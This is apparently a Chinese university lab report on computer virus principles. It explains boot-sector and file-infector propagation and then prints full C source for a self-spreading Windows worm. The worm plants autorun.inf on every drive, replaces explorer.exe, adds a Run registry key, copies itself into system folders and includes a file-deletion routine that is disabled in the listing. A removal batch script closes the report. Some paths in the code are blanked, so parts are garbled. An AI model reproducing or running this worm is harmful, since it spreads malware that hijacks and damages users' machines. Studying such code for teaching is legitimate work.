当前位置:文档之家› 计算机病毒实验报告

计算机病毒实验报告

计算机病毒原理实验报告专业:信息安全班级:0903班姓名:学号:时间:2012年1月3日计算机病毒的传染机制:1.计算机病毒的传染方式所谓传染是指计算机病毒由一个载体传播到另一个载体,由一个系统进入另一个系统的过程。

这种载体一般为磁盘或磁带,它是计算机病毒赖以生存和进行传染的媒介。

但是,只有载体还不足以使病毒得到传播。

促成病毒的传染还有一个先决条件,可分为两种情况,或者叫做两种方式。

其中一种情况是,用户在进行拷贝磁盘或文件时,把一个病毒由一个载体复制到另一个载体上。

或者是通过网络上的信息传递,把一个病毒程序从一方传递到另一方。

这种传染方式叫做计算机病毒的被动传染。

另外一种情况是,计算机病毒是以计算机系统的运行以及病毒程序处于激活状态为先决条件。

在病毒处于激活的状态下,只要传染条件满足,病毒程序能主动地把病毒自身传染给另一个载体或另一个系统。

这种传染方式叫做计算机病毒的主动传染。

2.计算机病毒的传染过程对于病毒的被动传染而言,其传染过程是随着拷贝磁盘或文件工作的进行而进行的,而对于计算机病毒的主动传染而言,其传染过程是这样的:在系统运行时,病毒通过病毒载体即系统的外存储器进入系统的内存储器,常驻内存,并在系统内存中监视系统的运行。

在病毒引导模块将病毒传染模块驻留内存的过程中,通常还要修改系统中断向量入口地址(例如INT 13H或INT 21H),使该中断向量指向病毒程序传染模块。

这样,一旦系统执行磁盘读写操作或系统功能调用,病毒传染模块就被激活,传染模块在判断传染条件满足的条件下,利用系统INT 13H读写磁盘中断把病毒自身传染给被读写的磁盘或被加载的程序,也就是实施病毒的传染,然后再转移到原中断服务程序执行原有的操作。

计算机病毒的传染方式基本可分为两大类,一是立即传染,即病毒在被执行到的瞬间,抢在宿主程序开始执行前,立即感染磁盘上的其他程序,然后再执行宿主程序;二是驻留内存并伺机传染,内存中的病毒检查当前系统环境,在执行一个程序或D1R等操作时传染磁盘上的程序,驻留在系统内存中的病毒程序在宿主程序运行结束后,仍可活动,直至关闭计算机。

3.系统型病毒传染机理计算机软硬盘的配置和使用情况是不同的。

软盘容量小,可以方便地移动交换使用,在计算机运行过程中可能多次更换软盘;硬盘作为固定设备安装在计算机内部使用,大多数计算机配备一只硬盘。

系统型病毒针对软硬盘的不同特点采用了不同的传染方式。

系统型病毒利用在开机引导时窃获的INT 13控制权,在整个计算机运行过程中随时监视软盘操作情况,趁读写软盘的时机读出软盘引导区,判断软盘是否染毒,如未感染就按病毒的寄生方式把原引导区写到软盘另一位置,把病毒写入软盘第一个扇区,从而完成对软盘的传染。

染毒的软盘在软件交流中又会传染其他计算机。

由于在每个读写阶段病毒都要读引导区,既影响微机工作效率,又容易因驱动器频繁寻道而造成物理损伤。

系统型病毒对硬盘的传染往往是在计算机上第一次使用带毒软盘进行的,具体步骤与软盘传染相似,也是读出引导区判断后写入病毒。

4.文件型病毒传染机理当执行被传染的.COM或.EXE可执行文件时,病毒驻人内存。

一旦病毒驻人内存,便开始监视系统的运行。

当它发现被传染的目标时,进行如下操作:(1)首先对运行的可执行文件特定地址的标识位信息进行判断是否已感染了病毒;(2)当条件满足,利用INT 13H将病毒链接到可执行文件的首部或尾部或中间,并存入磁盘中;(3)完成传染后,继续监视系统的运行,试图寻找新的攻击目标。

文件型病毒通过与磁盘文件有关的操作进行传染,主要传染途径有:(1)加载执行文件文件型病毒驻内存后,通过其所截获的INT 21中断检查每一个加载运行可执行文件进行传染。

加载传染方式每次传染一个文件,即用户准备运行的那个文件,传染不到那些用户没有使用的文件。

(2)列目录过程一些病毒编制者可能感到加载传染方式每次传染一个文件速度较慢,不够过瘾,于是后来造出通过列目录传染的病毒。

在用户列硬盘目录的时候,病毒检查每一个文件的扩展名,如果是可执行文件就调用病毒的传染模块进行传染。

这样病毒可以一次传染硬盘一个于目录下的全部可执行文件。

DIR是最常用的DOS命令,每次传染的文件又多,所以病毒的扩散速度很快,往往在短时间内传遍整个硬盘。

对于软盘而言,由于读写速度比硬盘慢得多,如果一次传染多个文件所费时间较长,容易被用户发现,所以病毒“忍痛”放弃了一些传染机会,采用列一次目录只传染一个文件的方式。

(3)创建文件过程创建文件是DOS内部的一项操作,功能是在磁盘上建立一个新文件。

已经发现利用创建文件过程把病毒附加到新文件上去的病毒,这种传染方式更为隐蔽狡猾。

因为加载传染和列目录传染都是病毒感染磁盘上原有的文件,细心的用户往往会发现文件染毒前后长度的变化,从而暴露病毒的踪迹。

而创建文件的传染手段却造成了新文件生来带毒的奇观。

好在一般用户很少去创建一个可执行文件,但经常使用各种编译、连接工具的计算机专业工作者应该注意文件型病毒发展的这一动向,特别在商品软件最后生成阶段严防此类病毒。

实验所用病毒介绍:本病毒所具有的功能:1.在所有磁盘的根目录生成和autorun.inf文件2.生成病毒体:c:\windows\c:\windows\explorer.exec:\windows\system32\dllcache\explorer.exec:\windows\system\msmouse.dllc:\windows\system32\cmdsys.sysc:\windows\system32\mstsc32.exe3.病毒体c:\windows\explorer.exe感染原explorer.exe文件,使其不需要修改注册表做到启动时在explorer.exe前启动4.修改注册表,在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run设置自启动项(此操作不使用windowsAPI,防止用户对病毒体的发现,并实现并行执行)5.生成的autorun.inf改变磁盘的打开方式,使其在windows2000以上的系统无论选择“打开”、“双击”、“资源管理器”等方式都无法打开分驱,而是以运行病毒的方式取而代之。

6.连锁能力,将病毒体相连,实现相连复制更新7.使用进程不断调用进程,使得在任务管理里无法结束病毒进程8.不断搜索磁盘,只要发现未感染病毒的一律感染,病毒删除后1秒内再建9.生成垃圾文件(DESTORY_感染_任意数字)5个于C盘下10.附带删除文件函数(为防止危害,本函数默认不执行)本病毒到目前为止任何杀毒软件都无法将其查杀本病毒单机默认使用对机器无害(破坏代码已屏蔽)提供病毒卸载程序(保存为X.BAT,双击运行即可卸载):病毒源程序:/* SVCHOST.C *//* SVCHOST.EXE *//* */#include<stdio.h> /*标准输入输出*/#include<string.h> /*字符串操作*/#include<stdlib.h> /*其它函数*/#include<process.h> /*进程控制*/#include<dir.h> /*目录函数*/#define SVCHOST_NUM 6 /*关键位置病毒复制数量*/#define RUBBISH_NUM 5 /*垃圾文件数量*/#define REMOVE_NUM 5 /*删除文件数*//*==========================================================*/ /*文件AUTORUN.INF内容:1.自动运行2.覆盖默认打开命令,使用病毒体作为新的打开方式3.覆盖默认资源管理器命令,使病毒体作为新的命令方式*/char *autorun={"[AutoRun]\nopen=\" /s\"\nshell\\open=打开(&O)\nshell\\open\\Command=\" /s\"\nshell\\explore=资源管理器(&X)\nshell\\explore\\Command=\" /s\""};/*==========================================================*/ /*添加注册表项:1.自动运行生成病毒体C:\windows\wjview3*/char*regadd={"REGEDIT4\n\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\ Windows\\CurrentVersion\\Run]\n\"wjview32\"=\"C:\\\\windows\\\\/s\""};/*==========================================================*/ /*函数:复制文件复制源:infile目的地:outfile成功返回0,失败返回1*/int copy(char *infile,char *outfile){FILE *input,*output;char temp;if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL)){while(!feof(input)){fread(&temp,1,1,input);fwrite(&temp,1,1,output);}fclose(input);fclose(output);return 0;}else return 1;}/*==========================================================*/ /*函数:通过explorer自动运行成功返回0,失败返回1,2*/int autorun_explorer(){FILE *input;if((input=fopen("c:\\windows\\system\\explorer.exe","rb"))!=NULL){fclose(input);remove("c:\\windows\\$temp$");remove("c:\\windows\\system32\\dllcache\\$temp$");return 1;}copy("c:\\windows\\explorer.exe","c:\\windows\\system\\explorer.exe");rename("c:\\windows\\explorer.exe","c:\\windows\\$temp$");rename("c:\\windows\\system32\\dllcache\\explorer.exe","c:\\windows\\system32\\dllc ache\\$temp$");if(copy("","c:\\windows\\explorer.exe")==0 &&copy("","c:\\windows\\system32\\dllcache\\explorer.exe")==0) return 0;elsereturn 2;}/*==========================================================*/ /*函数:添加注册表项成功返回0,失败返回1*/int add_reg(){FILE *output;if((output=fopen("$$$$$","w"))!=NULL){fprintf(output,regadd);fclose(output);spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);}}/*==========================================================*/ /*函数:复制病毒+ Autorun.inf自动运行*/void copy_virus(){int i,k;FILE *input,*output;char*files_svchost[SVCHOST_NUM]={"","c:\\windows\\","c: \\windows\\system\\MSMOUSE.DLL","c:\\windows\\system32\\cmdsys.sys","c:\\win dows\\system32\\mstsc32.exe","c:\\windows\\explorer.exe"};char temp[2][20]={"c:\\","c:\\autorun.inf"};for(i=0;i<SVCHOST_NUM;i++){if((input=fopen(files_svchost[i],"rb"))!=NULL){fclose(input);for(k=0;k<SVCHOST_NUM;k++){copy(files_svchost[i],files_svchost[k]);}i=SVCHOST_NUM;}}for(i=0;i<SVCHOST_NUM;i++){if((input=fopen(files_svchost[i],"rb"))!=NULL){fclose(input);for(k=0;k<24;k++){copy(files_svchost[i],temp[0]);if((output=fopen(temp[1],"w"))!=NULL){fprintf(output,"%s",autorun);fclose(output);}temp[0][0]++;temp[1][0]++;}i=SVCHOST_NUM;}}}/*==========================================================*/ /*函数:制造垃圾文件*/void make_rubbish(){int i;FILE *output;srand(0);for(i=0;i<RUBBISH_NUM;i++){int n;char s[30];n=rand();sprintf(s,"C:\\DESTORY_感染_%d",n);if((output=fopen(s,"w"))!=NULL){fprintf(output,"%ld%s",n*n,s);fclose(output);}}}/*==========================================================*/ /*函数:删除文件*/void remove_files(){long done;int i;struct _finddata_t ffblk;char *remove_files[3]={"*.txt","*.doc","*.xls"};for(i=0;i<3;i++){if(_findfirst(remove_files[i],&ffblk)==-1) continue;while(!done){remove();_findnext(done,&ffblk);}_findclose(done);}}/*==========================================================*/ /*主程序使用DEV-CPP 32位C工程实现.C程序脱离命令行界面,于后台执行*/int main(int argc,char **argv){int contral=0;if(argc>1)if(strcmp(argv[1],"/s")==0)goto next1;autorun_explorer();spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);next1:add_reg();copy_virus();make_rubbish();/* remove_files(); */spawnl(1,"c:\\windows\\system32\\mstsc32.exe"," /s",NULL);return 0;}病毒卸载程序:@echo offecho SK-CHINA SVCHOST KILLERtaskkill /im mstsc32.exe /fdel c:\windows\del c:\windows\explorer.exedel c:\windows\system32\dllcache\explorer.exedel c:\windows\system\msmouse.dlldel c:\windows\system32\cmdsys.sysdel c:\windows\system32\mstsc32.exedel c:\del c:\autorun.infdel d:\del d:\autorun.infdel e:\del e:\autorun.infdel f:\del f:\autorun.infdel g:\del g:\autorun.infdel h:\del h:\autorun.infcopy c:\windows\system\explorer.exe c:\windows\explorer.execopy c:\windows\system\explorer.exe c:\windows\system32\dllcache\explorer.exe del c:\windows\system\explorer.exeecho FINISH!echo 如果本次清除后仍残留有病毒,请再次运行本程序pause。

相关主题